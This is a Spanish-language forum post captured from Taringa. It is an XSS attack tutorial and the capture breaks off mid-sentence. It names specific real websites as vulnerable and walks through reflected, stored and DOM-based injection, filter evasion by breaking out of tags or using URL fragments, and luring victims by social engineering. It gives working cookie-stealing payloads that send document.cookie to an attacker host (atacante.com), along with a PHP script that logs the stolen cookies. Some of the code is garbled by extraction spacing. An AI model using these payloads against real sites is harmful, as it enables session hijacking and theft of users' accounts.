30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

Buscar...

Identificarme

E-BOOKS Y TUTORIALES | HACE MS DE 4 AOS

electrohousee

tutorial de cross site scripting [XSS]+como

atacar+ejemplos

20 Seguidores
328 Puntos
12 Posts

Honda Argentina

www.taringa.net/Honda_Argentina
Ganate un viaje para 2 personas al destino del pas que vos elijas.

Amateur

Hola amigos de T!
hoy les traigo un tutorial de vulnerabilidades Cross Site Scripting [XSS] y como explotarlas
Una vulnerabilidad es tan limitada como tu quieras que sea

=============
Introduccin:
=============
Cualquiera puede encontrar una gran cantidad de textos y manuales que traten sobre Cross Site Scripting. El
problema es que la mayora de esos textos no explican a fondo este tema. EEl objetivo de este texto es que
entiendan a fondo este tipo de vulnerabilidad, que conozcan y descubran varios mtodos de ataque, y sepan
como protegerse
contra el Cross Site Scripting.
Para poder comprender este manual en su totalidad, es recomendable que sepan un poco de HTML, y de ser
posible algo de JavaScript.
El Cross Site Scripting (XSS) es una vulnerabilidad muy comn hoy enda, se puede encontrar en la mayora de
las aplicaciones web en Internet.
Mucha gente ve el XSS como una vulnerabilidad obsoleta, y con este manual voy a demostrar que si se sabe
como explotar, puede ser de gran provecho. No por ser un fallo muy comn deja de ser importante.
Este fallo compromete ms que nada, la seguridad del usuario y no la del servidor. Consiste en inyectar cdigo
HTML o Javascript en una aplicacin web, con el fin de que el navegador de un usuario ejecute el cdigo
inyectado al momento de ver la pgina alterada.
Comnmente el XSS se utiliza para causar una accin indebida en el navegador de un usuario, pero dependiendo
de la vulnerabilidad, puedes explotar el fallo para causar una accin indebida en un servidor o en una aplicacin.
Esta limitacin se debe a que el cdigo HTML se interpreta en el navegador de un usuario y no en el servidor. As
que si alguien inyecta cdigo HTML en alguna aplicacin web no podra hacer dao alguno al servidor, ya que
ste nunca interpreta el cdigo HTML, solo los navegadores. Por eso este ataque se determina: ataque del lado
del
cliente.
El XSS se puede utilizar para hacer phishing, robo de credenciales,
troyanizar navegadores, o simplemente para hacer un deface. Todo
depende de la pgina.

====================
Cmo sucede el XSS?
====================
Con este manual me ir desde lo ms bsico. En muchos textos de XSS que
he visto dicen algo como:
Ve a algn formulario de bsqueda de una web y pon:
<script>alert();</script>[/color]
si sale una ventanita es vulnerable
Y entonces quien lee el manual, y no tiene idea de XSS, no entiende porque sucede sto, y nunca podr poder
saltarse un filtro de XSS, y jams podr inyectar cdigo fuera de un formulario. Explicar la vulnerabilidad de modo
que se entienda a fondo el por qu de sta.
Lo primero que se debe lograr al querer explotar alguna aplicacin con XSS, es inyectar cdigo HTML a la web; es
decir, lograr incluir HTML escrito por nosotros en el cdigo fuente de la pgina.

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

1/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

Analizaremos el mtodo ms sencillo y popular: el del formulario de

bsqueda xD.
Tomemos como ejemplo: http://www.pan.senado.gob.mx
Si vamos a la pgina, podemos ver en la parte izquierda superior, debajo del logo del pan, un pequeo campo de
texto que dice Bsqueda.
Este es el campo vulnerable a inyeccin HTML.
A continuacin, ponemos en el campo de bsqueda rastan xD, y le damos clic en buscar, esperamos a que se
cargue la pgina y podemos observar el texto:
Resultados de buscar: rastan
No se encontraron resultados de Resultados de buscar: rastan
(No se encontraron resultados DE RESULTADOS? xD)
Analizando este resultado (de resultado xD) podemos ver que la pgina
probablemente es vulnerable a XSS. Por qu? Miremos el cdigo fuente:
<tr>
<td width="1 00%" height="99%" class="TituloPag">
Resultados de buscar: rastan </td>
</tr>
La cadena rastan, que nosotros le dimos al servidor, es incluida en
el cdigo fuente de la pgina, mmm.. y si le damos alguna otra cadena
al servidor? Qu tal si intentamos algo como:
<h1 >pricka</h1 >?
Probemos
En el navegador:
Resultados de buscar:
pricka
En el cdigo fuente:
<tr>
<td width="1 00%" >
Resultados de buscar: <h1 >pricka</h1 ></td>
</td </tr>
Genial, es vulnerable. El cdigo que escribimos en el campo de bsqueda se incluyo en el cdigo fuente de la
pgina como si fuera parte de sta, y nuestro navegador interpret el cdigo. Esto es Cross Site Scripting.
Otro modo de inyectar el cdigo sera darle el valor de bsqueda a travs de la URL:
http://www.pan.senado.gob.mx/resultados.php?txttexto=hola
En conclusin: la vulnerabilidad de XSS ocurre cuando la pgina permite
al usuario incluir cdigo en la pgina. De qu nos sirve? Ahora
veremos varios tipos de bugs, mtodos de inyeccin y tipos de ataque

=========================
Tipos de vulnerabilidades
=========================
Existen 3 tipos conocidos de Vulnerabilidades XSS.
El tipo-0, que se utiliza para ejecutar cdigo remotamente con los
permisos de otro usuario.
El tipo-1, ataque no-persistente o reflejado (explicado ms
adelante) utilizado en pginas no estticas.
Y el tipo-2, ataque persistente, donde se inyecta cdigo en
pginas estticas.
Estos tipos de vulnerabilidades son en los que se basan todos los dems
ataques. Es importante que el lector analice estos tres tipos de
ataques para identificar en que reas son peligrosos, que se puede
lograr con ellos, y como prevenirlos.

Tipo-0 :
Esta vulnerabilidad es conocida como: DOM-Based cross-site-scripting

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

2/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

o cross-site-scripting local.
Es un ataque poco usual y talvez algo complicado de explicar. No
tratar esta vulnerabilidad a fondo, pero este manual hace un buen
trabajo explicndola: http://www.webappsec.org/projects/articles/071105.shtml
La diferencia entre el tipo-0 y los otros tipos de ataque, es que el
cdigo se inyecta a travs de la URL pero no se incluye en el cdigo
fuente de la pgina. Es decir, el cdigo nunca lleg a la pgina, solo
se ejecut en el navegador.
Esto nos podra servir de modo que, le demos una URL maligna a alguna
vctima que tenga alguna pgina hospedada en su mquina y, cuando la
vctima le da la URL a su navegador el cdigo se ejecuta en su
navegador, dicho cdigo podra realizar alguna accin en la pgina
hospedada por la vctima, y como fue ejecutado en el navegador de la
vctima tambin se ejecuta con los permisos que tiene la vctima en su
mquina. Esto podra llevar a realizar alguna accin remotamente en la
pgina de la vctima, como si este usuario las hubiera realizado.
De una forma a grandes rasgos: el tipo-0 ejecuta cdigo remotamente en
la mquina de un usuario con los permisos de este usuario.
Veamos un ejemplo de esta vulnerabilidad.
Imaginemos que la siguiente:
pgina (www.vulnerable.com/index.html) tiene el siguiente cdigo:
<HTML>
<TITLE>Bienv enido!</TITLE>
Hola
<SCRIPT>
v ar pos=document.URL.index Of("nombre=" +5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Bienv enido a nuestra pgina

</HTML>
La pgina anterior se utilizara para darle la bienvenida a algn usuario por su nombre, ejemplo:
http://vulnerable.com/index.html?nombre=piupert
Esto mostrara algo como:
Hola piupert Bienvenido a nuestra pgina
De cualquier modo, una peticin del siguiente modo:
http://vulnerable.com/index.html?nombre=<script>alert();</script>
Dara resultado a un XSS. Veamos por qu:
El navegador de la vctima visita el enlace, hace una peticin HTTP a
vulnerable.com y recibe la pgina index.html. Despus el navegador
empieza a interpretar el HTML de la pgina y forma la estructura del
documento. El documento contiene un objeto llamado document, que
contiene una propiedad llamada URL, y esta propiedad es remplazada
por la URL de la pgina actual, como parte de la estructura del
documento. Cuando el intrprete llega al cdigo Javascript lo ejecuta y
modifica el HTML en bruto. En este caso, el cdigo hace referencia a
document.URL, y entonces, esta cadena es incluida en el HTML al
momento de interpretar el cdigo, despus es inmediatamente
interpretada y ejecutada en el contexto de la misma pgina, por lo
tanto la condicin XSS.
Nota:
La inyeccin maligna nunca fue incluida en el HTML en bruto
(en cambio a los otros tipos de XSS).
Este ataque solo funciona si el navegador no modifica los
parmetros de la URL. (Ejemplo: <
%3C).
En el ejemplo anterior todava se puede discutir que la inyeccin si
lleg al servidor (en el ?nombre= de la peticin HTTP), y por lo
tanto puede ser detectado como cualquier ataque XSS. Pero an as esto

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

3/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

podemos arreglarlo. Consideren el siguiente ataque:

http://vulnerable.com/index.html#name=<script>alert();</script>
La almohadilla (#) le dice al navegador que todo lo que va despus de
ella es un fragmento, y no parte de la peticin. Los navegadores no
mandan los fragmentos al servidor, as que el servidor solamente vera:
http://vulnerable.com/index.html
logrando que ni el servidor vea la inyeccin, esta tcnica de evasin evita que los navegadores enven la inyeccin
al servidor.
Lo que realizan muchas aplicaciones web para evitar inyecciones al
servidor, es utilizar funciones que analizan todos los datos que manda
el navegador con el fin de que si se encuentra alguna inyeccin, se
elimine. Este mtodo de proteccin es inefectivo contra este tipo de
ataques, porque si los datos nunca llegan al servidor estos no pueden
ser analizados.
As se logra el XSS tipo-0.
El navegador ejecuta cdigo localmente, cdigo que el servidor no incrust en una pgina, sino que el navegador
incrust el mismo. As si la vctima tiene una pgina vulnerable en su mquina (o en otro servidor), puedes realizar
acciones remotamente como si las hubiera hecho otro usuario.
Escenario de ataque tipo-0
Veamos el siguiente ejemplo. La vctima tiene un blog en:
http://victima.blog.com
El blog utiliza cookies, por lo tanto siempre que la vctima entra a su blog ya se encuentra iniciado en su cuenta
de administrador.
Cuando la vctima deja comentarios en el blog hace una peticin as:
http://victima.blog.com/comment.php?nick=admin&comment=comentario
El atacante enva la siguiente URL maliciosa a la vctima:
http://v ulnerable.com/index .html#name=<script>window.location=http://v
ictima.blog.com/comment.php?nick=admin&comment=Hacked_by _Atacante
La vctima hace clic en el link, su navegador ejecuta el script y
redirecciona al blog de la vctima dejando un comentario. La accin al
ser ejecutada en la mquina de la vctima se realiza con los permisos
que tiene la vctima sobre su blog (administrador), y deja el
comentario.
Al principio puede sonar inefectivo o riesgoso tener que mandar un link
a la vctima. Ms adelante voy a dedicar una parte del tuto para
poder explicar varias formas de hacer esto. Obviamente, nunca va a ser
100% seguro que la vctima caiga en nuestra trampa, pero es algo que
tenemos que saber hacer ya que los ataques tipo-0 y tipo-1 emplean
estos tipos de ataque.
Esta es la razn por la que la gente suele ver el XSS como un ataque
muy limitado, para esas personas:
pinsenlo dos veces. El nico lmite que tenga este ataque ser el que tu le pongas, si se sabe aprovechar el
XSS de forma correcta puede ser un ataque peligroso.
Con esto termino de explicar el cross-site-scripting tipo-0...

Tipo-1
Es probablemente la vulnerabilidad ms comn que hay, por lo usual se
encuentra en motores de bsqueda. El tipo-1 es una vulnerabilidad nopersistente
o reflejada.
Este agujero de seguridad sucede cuando un servidor genera una pgina
instantnea de resultados de acuerdo a informacin proporcionada por el
navegador (ejemplo: una bsqueda). Si los datos proporcionados por el
navegador no son validados y se incluyen en el cdigo fuente de la
pgina, hay XSS.
El cross-site-scripting tipo-1 tampoco parece ser un problema de

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

4/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

seguridad muy serio, ya que la inyeccin solo se puede realizar en

pginas no estticas. Pero como ya he dicho antes, si se sabe
aprovechar la vulnerabilidad le puedes dar gran utilidad. Con un poco
de ingeniera social un atacante puede lograr que un usuario entre a
una pgina que contiene cdigo inyectado.
Ya que para realizar este tipo de ataques se requiere ingeniera
social, muchos programadores no le dan importancia a este bug, GRAVE
ERROR. Cualquier aplicacin que le permita a un usuario inyectar cdigo
en la pgina (sea cual sea), compromete la seguridad tanto del sitio
como de sus usuarios. El XSS es una vulnerabilidad y debe ser tomada
como tal, se puede explotar y ser usada para malos fines. Cualquier
programador que quiera tener programacin segura debe considerar todas
las posibilidades de violacin.
El tipo-1 es una vulnerabilidad no-persistente porque la pgina con la
inyeccin no es una pgina que vern todos los usuarios. Tampoco es una
pgina que existe o se mantiene en el servidor (pgina esttica), slo
se genera cuando un usuario proporciona cierta informacin a alguna
aplicacin.
Se llama vulnerabilidad reflejada porque para realizar un ataque, el
cdigo inyectado primero pasa del navegador al servidor, y luego del
servidor a otro navegador; como si fuera un reflejo.
La preparacin del ataque es muy sencillo. Se debe identificar la
variable vulnerable a inyeccin de cdigo en la pgina, y formar una
URL maligna.

Escenario de ataque tipo-1:

Tomemos como ejemplo http://www.pan.senado.gob.mx.
La pgina web cuenta con una aplicacin en la que los usuarios pueden ingresar a su cuenta
(esquina derecha superior). Y como ya vimos antes, tiene una aplicacin de bsqueda vulnerable a inyeccin de
cdigo:
http://www.pan.senado.gob.mx/resultados.php?txttexto=
El atacante identifica a su vctima. La vctima tiene una cuenta en la
web vulnerable: victima@pan.senado.gob.mx. Despus el atacante forma
una URL maligna, en la que inyecta cdigo para guardar la cookie del
usuario en su servidor.
http://www.pan.senado.gob.mx/resultados.php?txttexto=<script>window.loc
ation=http://atacante.com/xss.php?cookie=+document.cookie</script>[/font]
El link es enviado y se convence a la vctima que visite la pgina. La
vctima visita la pgina, su navegador enva su cookie al servidor del
atacante permitindole acceder en la cuenta de la vctima.
Muy bien, talvez ests pensando: Qu estpido va a dar clic en un
link as?. Jajaja, ms tarde explicar este mtodo de ataque ms a
fondo, mostrando como hacer el ataque un poco menos obvio.
Comparando el ataque tipo-0 al tipo-1, nos podemos dar cuenta de una
diferencia muy grande. En el tipo-1 el servidor procesa la inyeccin
enviada por el usuario y la incluye en el cdigo de la pgina. Pero en
el tipo-0 la inyeccin nunca llega al servidor, no es un ataque tipo
reflejo como el tipo-1. La informacin sale del navegador y entra al
navegador. La similitud entre el tipo-0 y el tipo-1 puede variar muy
poco, pero estos pequeos aspectos pueden marcar la diferencia de un
ataque a otro. Es importante que un atacante o un programador se ponga
a analizar ambas vulnerabilidades, a tomar en cuenta las maneras en las
que pueden ser explotadas.
La inyeccin a una pgina web se puede realizar de varias maneras, no
nos debemos de limitar a pasar parmetros por la URL. Habr veces en
las que tendremos que analizar una aplicacin web ms a fondo para
encontrar algn bug de este tipo. Ms adelante explicar los mtodos
que he usado, y las utilidades que se le pueden dar al bug.

Tipo-2 :
Esta vulnerabilidad permite hacer los ataques ms peligrosos y
poderosos a las aplicaciones web. Es conocida como vulnerabilidad
persistente o almacenada.

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

5/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

La diferencia de este cross-site-scripting a los anteriores, es que la

inyeccin se hace en una pgina esttica. La informacin proporcionada
por el usuario es almacenada en la base de datos, en el sistema de
archivos o algn otro lugar; despus es mostrada a otros usuarios que
visiten la pgina, por eso se dice que la vulnerabilidad persiste.
Esto es lo poderoso del tipo-2, la inyeccin se quedar siempre en
alguna parte de la web, no estar en una pgina que se genera cada vez
que se pasa informacin al servidor.
Las posibilidades de esta vulnerabilidad son muy amplias. Se puede
realizar desde un robo de cookies o troyanizacin de navegadores
masivos, hasta un deface de la pgina.
Encontrar este tipo de aplicaciones vulnerables a inyeccin es difcil,
y se tienen que buscar mtodos para evadir los sistemas de validacin;
esto lo explicaremos ms tarde.
Un ejemplo tpico de este tipo de vulnerabilidades son los foros de
discusin, los libros de visita o los tagboards. Si se logra inyectar
cdigo en un mensaje de estos sistemas, todos los usuarios que carguen
la pgina con el mensaje son afectados al fallo.

Escenario de ataque tipo-2

El atacante descubre como inyectar cdigo en un foro de discusin de la
web http://vulnerable.com. Las posibilidades que puede realizar son
varias:
Inyectar cdigo que robe las cookies de todos los usuarios que
lean el mensaje. Obteniendo un gran nmero de cuentas en el foro.
Inyectar cdigo que redireccione la pgina a una pgina externa,
logrando hacer un deface.
Troyanizar un gran nmero de navegadores de usuarios.
En el caso 1, el atacante obtendra acceso a la mayora de las cuentas
del foro (incluyendo la del administrador), ingresando como ellos
teniendo privilegios importantes sobre el foro.
En el caso 2 el atacante realizara un deface a la pgina, haciendo que
alguna pgina externa aparezca en el documento.
En el caso 3 el atacante tomara un control remoto sobre muchos
navegadores aprovechndose de ellos para ejecutar comandos remotamente.

=====================
Mtodos de inyeccin
y tipos de ataques
=====================
Lgicamente antes de realizar un ataque XSS a una web debemos de
descubrir si la web es vulnerable. Para identificar el bug no nos
debemos limitar a formularios de bsqueda. Existen varios mtodos de
inyectar cdigo en una aplicacin que suelen ir ms all de los
formularios.
El XSS es una forma especial de ataque contra la validacin de los
parmetros de entrada. La diferencia principal entre un ataque XSS y
algn otro ataque de inyeccin (SQL por ejemplo) es que el objetivo en
este caso suelen ser los usuarios de la aplicacin, ms que la propia
aplicacin. Por ejemplo, en un ataque por inyeccin SQL se intentar
acceder o modificar datos de la base de datos de la aplicacin,
mientras que en un ataque XSS se introducir un troyano en el navegador
web de la vctima (por troyano me refiero a una aplicacin que se
ejecutar en el navegador sin que el usuario sea consciente de ello).
Este troyano puede ser hecho en lenguajes que se ejecutan de la parte
del cliente, como por ejemplo JavaScript.
Los ataques XSS tampoco se limitan al robo de cookies, como ya he dicho
antes, el ataque puede variar dependiendo de cada situacin. Se puede
aprovechar alguna vulnerabilidad conocida del navegador (acceso
arbitrario de ficheros, manipulacin de cookies, o algo parecido) para

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

6/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

tener un mayor control sobre la mquina, y no solamente, el navegador

de la vctima.
Siendo el XSS un ataque contra la validacin de entradas, para
encontrar bugs en un sistema, debemos identificar todas las
aplicaciones que reciban datos del usuario de todas las maneras
posibles.
Inyeccin a un formulario
El ataque ms sencillo es la inyeccin al formulario que genera una
pgina a partir de la entrada del usuario. Anteriormente vimos un
ejemplo de este tipo de ataque.
El ataque consiste en inyectar cdigo en un formulario que despus de
enviar la informacin al servidor, ser incluido en el cdigo fuente de
alguna pgina, ya sea persistente o no-persistente. Despus lograr que
de alguna forma (dependiendo si la pgina con la inyeccin es persiste
o no-persistente) que el usuario vea la pgina con la inyeccin.

Post Relacionados
HAZLO TU MISMO

Vulnerabilidad XSS (seguridad

informtica)

Existen filtros que validan los campos de entrada del formulario para
identificar inyecciones y eliminarlas. No obstante, no todos los campos
son filtrados, por eso se debe de tratar hacer inyeccin por todos los
campos posibles. Ms adelante trataremos el tema de los filtros.

INFO

Sitio de McAfee est lleno de

vulnerabilidades de seguridad

Inyeccin por medio de elementos

HAZLO TU MISMO

No siempre que el navegador enve datos al servidor lo va a realizar

por medio de un formulario. Tambin debemos tomar en cuenta y hacer
bsqueda de elementos. Un elemento podr ser cualquier valor
establecido por el usuario o por la aplicacin y que viaja entre el
navegador y la aplicacin.

NOTICIAS

En la pgina de registro, podemos estudiar el siguiente elemento en los

parmetros de la URL:

Como hackear tu PSP 1,000

2,000 y 3,000 y GO Facil!

PwndSecurity - Tu blog y
Twitter del hacktivismo.

Avisos Taringa!
Honda Argentina

http://my.images.hack/registration/index.php?user=wawa
<td>
<input ty pe="tex t" name="user" id="user" v alue="wawa"
style="width:300px;" maxlength="16" onkeydown="if(event.keyCode==13)
do_register();"/>
</td>
Si accedemos a esta pgina podremos ver como la cadena wawa aparece
en una caja de texto. Si la aplicacin inserta datos introducidos por
el usuario en el cdigo de la pgina, podemos encontrar una forma de
vulnerar la aplicacin para inyectar cdigo.

www.taringa.net/Honda_Argentina
Ganate un viaje para 2 personas al destino del pas
que vos elijas.

PELIGRO BAJO TUS NARICES.

www.insidefilms.com/es/
The Power Inside. La serie online de Intel &
Toshiba. Clicke ac.

lanacion.com
www.lanacion.com.ar
Informacin confiable en Internet. Ingres

Intentemos con user=

<script>alert();</script> :
<input ty pe="tex t" name="user" id="user"
v alue="<script>alert();</script>" ..>
El cdigo est en la pgina, sin embargo como se encuentra dentro de
los atributos de otra etiqueta no funciona correctamente. Pero aqu
entra lo interesante de la inyeccin: trataremos de inyectar cdigo de
modo que el script quede afuera de la etiqueta input.
Vamos de nuevo user= "><script>alert();</script>
Y el resultado en el cdigo es este:
<input ty pe="tex t" name="user" id="user"
v alue=""><script>alert('x');</script><" style="width:300px;"
maxlength="16" onkeydown="if(event.keyCode==13) do_register();"/>
esaaaa!
Podemos ver como se mostr la alerta. Si analizamos la
inyeccin podemos ver como comenzamos con comillas y despus abrimos la
etiqueta, cuando el servidor inserta esto en la pgina la etiqueta
input es cerrada porque la inyeccin comienza con : >
<input ty pe="tex t" name="user" id="user" v alue="">
As cerramos la etiqueta y despus se incrusta el resto del cdigo,
logrando que el navegador interprete el cdigo de la forma deseada.

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

7/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

En el ejemplo pasado vimos 2 cosas: la inyeccin por medio de elementos

y la ruptura de etiquetas.
Para reafirmar las cosas, aqu hay un pequeo reto. Encontrar la forma
de inyectar cdigo a la conocida pgina de bsqueda de imgenes:
iStockphoto. La URL a la que le debes de realizar la inyeccin es la
siguiente:
http://www.istockphoto.com/file_search.php?action=file&text=
Solucin:
Antes que nada debemos identificar por medio de qu elemento vamos a
realizar la inyeccin, eso est claro, la variable text. Si
intentamos inyectar
<script>alert(realizado);</script>
el cdigo no se ejecuta...
Si ahora tratamos de inyectar:
"><script>alert(realizado);</script>
El cdigo es ejecutado por la ruptura de etiqueta que hacemos con el
>.
Tambin podrs haber notado que cuando envas algo por el campo de
bsqueda, los datos se envan a travs de la variable text. Vindolo
desde este punto la inyeccin no es concretamente una inyeccin por
medio de elementos ya que tambin se pueden enviar los datos a travs
de un formulario. Lo correcto es que la inyeccin debe ser hecha por
medio de elementos para que funcione. Si envas los datos desde el
formulario, la cadena es codificada. Y pasara de ser
"><script>alert();</script>, a
%22%3E%3Cscript%3Ealert%28%29%3B%3C%2Fscript%3E.
Si la cadena codificada se incrusta al cdigo, la inyeccin ya no
funciona, por eso esto debe ser una inyeccin por medio de elementos.

Inyeccin por medio de recursos

Ahora estudiaremos los mtodos de entrada alternativos, fuera de
formularios y parmetros de URL. Sera bastante difcil poder enlistar
todos los mtodos aqu, ya que, adems de que son muchos los mtodos
conocidos, el mtodo puede variar de aplicacin a aplicacin.
Aparte de los elementos en la URL y los formularios, hay otra forma en
la que los datos tambin se transfieren:
Las cabeceras HTTP.
Estas cabeceras son mensajes con los que se comunican el navegador y el
servidor, utilizados para especificar informacin del cliente/servidor
y para enviar informacin. Si me pongo a explicar todo acerca de las
cabeceras me saldr mucho del tema, pero les recomiendo leer algun
artculo sobre esto.
Las cabeceras envan varios datos al navegador, cmo saber que
mensajes utilizaremos para inyectar cdigo?, todo puede variar.
Analicemos una aplicacin vulnerable a inyeccin por medio de cookies.
Por si hay alguien que no sabe como funcionan las cookies, har una
breve explicacin.
Cuando entras a alguna pgina web en donde tienes la posibilidad de ver
informacin personalizada, a menudo tienes que dar primero tu nombre de
usuario y contrasea para poder ver esta informacin. Seguramente has
notado como hay casos en los que al momento de entrar a una pgina web,
ya te encuentras iniciado en tu sesin sin la necesidad de haber
proporcionado tus datos a la aplicacin, esto es por el uso de cookies.
Una cookie es un archivo que contiene varios datos sobre un usuario,
como nombres de usuario, la ltima vez que iniciaste sesin, etc.
Las cookies las manda el servidor al navegador del usuario, y luego el
navegador las registra en alguna parte de la mquina del usuario. Al
momento de entrar a una pgina, la aplicacin busca en el navegador del
usuario cookies que la aplicacin le haya dado.

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

8/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

En el caso del inicio de sesin automtico, al momento de proporcionar

tu nombre de usuario y contrasea a la aplicacin, sta guarda los
valores en una cookie (cifrados, por supuesto) y despus el navegador
los guarda. Cuando el navegador vuelve a visitar la pgina, la
aplicacin busca cookies que hayan sido guardadas y encuentra la cookie
con el nombre de usuario y contrasea cifrados. Entonces la aplicacin
descifra los datos y los procesa. As funciona el manejo de cookies, y
el inicio de sesin automtico.
Veamos el caso de un tagboard vulnerable. Al momento de que tu dejas un
comentario con tu nick en el tagboard, el tagboard guarda una cookie en
tu navegador con el valor de tu nick. Cuando vuelves a dejar un
comentario ya no es necesario proporcionarle tu nick al tagboard,
puesto que la aplicacin lo extrae desde tu cookie, lo almacena en la
variable $usuario, y luego lo imprime en el tagboard de la siguiente
manera:
echo <b>Comentario por: <i>$usuario</i></b><br />
Se puede suponer que el tagboard es vulnerable, porque generalmente la
informacin recibida por medio de la cookie no es filtrada. Si dejamos
un comentario en el tagboard, y realizamos un ataque MitM (Man-in-theMiddle) podemos interceptar las cabeceras del navegador y cambiar el
valor de usuario en la cookie, por algo as:
usuario=<script>alert(V ulnerable);</script>;
Cuando la variable $usuario, sea sustituida en el cdigo PHP, el cdigo
quedar as:
<b>Comentario por: <i><script>alert(V ulnerable);</script></i></b>
El navegador al interpretar el cdigo de la pgina, dar como resultado
un XSS. De esta manera inyectamos cdigo en la pgina de una manera que
va fuera de los formularios y los elementos.
Otra manera de inyectar cdigo podra ser utilizando el campo
Referer, o los campos de IP que se envan en las cabeceras de una
peticin. Para conocer por que medios se puede realizar una inyeccin a
una aplicacin, se debe de estudiar y analizar la aplicacin para
encontrar alguna forma de vulnerarla. Un programador seguro valida
todos los campos de entrada, en los que una inyeccin de cdigo puede
ser efectuada.
Tambin existe otro tipo de inyecciones muy populares. Este tipo de
ataques consiste en inyectar cdigo en una aplicacin Flash, o en un
Video. Cualquiera que tenga conocimientos de Flash y ActionScript,
puede hacer una aplicacin .swf que ejecute scripts al ser ejecutada.
Despus se puede encontrar la forma de subir o mostrar esta animacin
en una pgina como MySpace o Hi5, para que al momento que otro usuarios
carguen la pgina junto con el flash, ejecuten el script.
Tambin hay una vulnerabilidad que est haciendo de MySpace toda una
arena de juego xD. La vulnerabilidad consiste en inyectar cdigo
Javascript en videos quicktime, y estos videos pueden ser incrustados
en pginas como MySpace. As que al igual con el flash, cuando el video
es cargado por un navegador, el script es ejecutado y esto da resultado
a un XSS. Son varias las maneras en las que se pueden realizar las
inyecciones, a continuacin dejo un video sobre la inyeccin de
Javascript en videos quicktime:
(XSS injection in image formats // Taking advantages on it)
http://www.milw0rm.com/video/
Siempre habrn nuevos mtodos de inyeccin de cdigo a aplicaciones
web, lo importante es entender como funcionan estas inyecciones. Ahora
trataremos las posibilidades que se nos abren al encontrar una
vulnerabilidad de Cross Site Scripting.

Ataque Credential Theft:

El ataque Credential Theft o de Robo de credencial consiste en
robar los mtodos de autentificacin de un usuario para una pgina,
para poder ingresar a su cuenta sin la necesidad de saber su

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

9/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

contrasea. Este ataque es probablemente el ms conocido y ms aplicado

hablando de vulnerabilidades XSS, y se pueden encontrar una infinidad
de textos sobre esto, an as explicar el ataque.
Una credencial de cualquier recurso de informacin que utilice una
mquina para autentificarse ante una aplicacin, sin la necesidad de
que el usuario la proporcione. Anteriormente vimos que eran las
cookies, como funcionaban, y como se lograba el inicio de sesin
automtico en aplicaciones web. En este caso la cookie es una
credencial.
Si podemos robar la credencial de otro usuario, y cambiar el valor de
sta por el valor de nuestra credencial, al momento de presentar
nuestra credencial ante la aplicacin ingresaramos como el otro
usuario. As es como se logra un robo de credencial o falsificacin de
sesin. El XSS es un mtodo de robar credenciales.
Ya hemos visto en un caso anterior, un ejemplo de robo de cookies a un
usuario, ahora es momento de analizar el ataque a fondo.
En Javascript, hay una variable predefinida llamada document.cookie,
esta variable contiene el valor de la cookie de la sesin actual.
Podemos sacar ventaja de esto para enviar el valor de una cookie de una
pgina a otra. Tomar el ejemplo de la vulnerabilidad que encontr en
la pgina de postales electrnicas:
http://www.gusanito.com.
Resulta que el campo en donde se escribe el mensaje de la postal es
vulnerable e XSS. Por lo que podemos inyectar cdigo en la postal,
enviarla por correo a una vctima, y al momento que el navegador de la
vctima vea la postal ejecutar el cdigo que nosotros inyectamos.
Primero que nada, el atacante programar una aplicacin que guarda el
valor de la cookie en un fichero.
El cdigo del programa puede ser as:
<?
$cookie = $_GET['cookie'];
$fichero = fopen("cookies.tx t","a"
fwrite($fichero, "$cookie \n" ;
fclose($fichero);
?>

El atacante guarda el cdigo en

http://atacante.com/robo.php.
Esta aplicacin recibe una variable cookie por medio de la URL
http://atacante.com/robo.php?cookie=valor_de_cookie
y luego la guarda en un archivo.
Ahora en la postal podemos inyectar esto en el mensaje:
<script>
window.location=http://atacante.com/robo.php?cookie=+document.cookie;
</script>
La orden window.location redirecciona el navegador a la URL
especificada. Tambin podemos darnos cuenta de que la variable
document.cookie es incluida en la URL por medio del operador +.
Este operador aadir el valor de document.cookie a la URL, y el
navegador ser redireccionado a la siguiente direccin:
http://atacante.com/robo.php?cookie=cookie_del_usuario
Despus el programa robo.php almacenar el valor de la cookie en el
archivo cookies.txt. Ms tarde el atacante podr ver el valor de la
cookie de la vctima, y acceder a la cuenta del usuario sin necesidad
de saber su contrasea, remplazando el valor de la cookie de la vctima
por el valor de su cookie.
Este ataque es slo un ejemplo, se puede arreglar ms para que sea

www.taringa.net/posts/ebooks-tutoriales/2306553/Tutorial-de-cross-site-scripting-XSS-como-atacar-ejemplos.html

10/20

30/09/13

tutorial de cross site scripting [XSS]+como atacar+ejemplos - Taringa!

menos sospechoso.
Como la postal enviada al usuario es una pgina esttica, ahora veremos
como hacer esto con una vulnerabilidad en una pgina no esttica.
Veamos el ejemplo estudiado anteriormente de la web
http://www.pan.senado.gob.mx
donde la aplicacin de bsqueda es
vulnerable a XSS. Si la variable txttexto es vulnerable a inyeccin,
